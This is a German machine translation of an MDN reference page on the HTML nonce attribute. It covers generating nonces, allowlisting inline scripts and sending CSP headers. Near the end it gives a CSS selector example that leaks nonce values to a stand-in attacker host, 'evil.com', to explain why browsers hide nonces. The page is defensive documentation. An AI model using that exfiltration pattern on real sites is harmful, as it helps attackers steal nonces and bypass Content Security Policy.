Dieser Inhalt wurde automatisch aus dem Englischen übersetzt, und kann Fehler enthalten. Erfahre mehr über dieses Experiment.

View in English Always switch to English

HTML nonce-Globalattribut

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since ⁨März 2022⁩.

Das nonce-Globalattribut ist ein Inhaltsattribut, das eine kryptografische Nonce ("number used once") definiert, die von der Content Security Policy verwendet werden kann, um zu bestimmen, ob ein bestimmter Abruf für ein gegebenes Element erlaubt ist oder nicht.

Beschreibung

Das nonce-Attribut ist nützlich, um spezifische Elemente, wie beispielsweise ein bestimmtes Inline-Skript oder Style-Elemente, auf eine Positivliste zu setzen. Es kann Ihnen helfen, die Verwendung der CSP unsafe-inline-Direktive zu vermeiden, welche alle Inline-Skripte oder Styles auf eine Positivliste setzen würde.

Hinweis: Verwenden Sie nonce nur in Fällen, in denen es keine Möglichkeit gibt, unsichere Inline-Skript- oder Stil-Inhalte zu vermeiden. Wenn Sie nonce nicht benötigen, verwenden Sie es nicht. Wenn Ihr Skript statisch ist, könnten Sie stattdessen auch einen CSP-Hash verwenden. (Siehe Nutzungshinweise zu unsicherem Inline-Skript.) Versuchen Sie immer, den vollen Vorteil der CSP-Schutzmechanismen zu nutzen und Nonces oder unsichere Inline-Scripts wann immer möglich zu vermeiden.

Verwendung von nonce zur Positivliste eines <script>-Elements

Es gibt einige Schritte, um ein Inline-Skript mit Hilfe des Nonce-Mechanismus auf eine Positivliste zu setzen:

Werte generieren

Generieren Sie von Ihrem Webserver aus einen zufälligen, base64-kodierten String mit mindestens 128 Bit Daten von einem kryptografisch sicheren Zufallszahlengenerator. Nonces sollten jedes Mal neu generiert werden, wenn die Seite geladen wird (Nonce nur einmal verwenden!). Zum Beispiel in Node.js:

js
import crypto from "node:crypto";

crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

Inline-Skript auf die Positivliste setzen

Die auf Ihrem Backend-Code generierte Nonce sollte nun für das Inline-Skript verwendet werden, das Sie auf die Positivliste setzen möchten:

html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

Senden einer Nonce mit einem CSP-Header

Schließlich müssen Sie den Nonce-Wert in einem Content-Security-Policy-Header senden (vorangestellt mit nonce-):

http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

Zugriff auf Nonces und Verbergen von Nonces

Aus Sicherheitsgründen ist das nonce-Inhaltsattribut verborgen (ein leerer String wird zurückgegeben).

js
script.getAttribute("nonce"); // returns empty string

Die nonce-Eigenschaft ist der einzige Weg, um auf Nonces zuzugreifen:

js
script.nonce; // returns nonce value

Das Verbergen von Nonces hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu stehlen, die Daten von Inhaltsattributen abrufen können, wie dieses:

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Spezifikationen

Specification
HTML
# attr-nonce

Browser-Kompatibilität

Siehe auch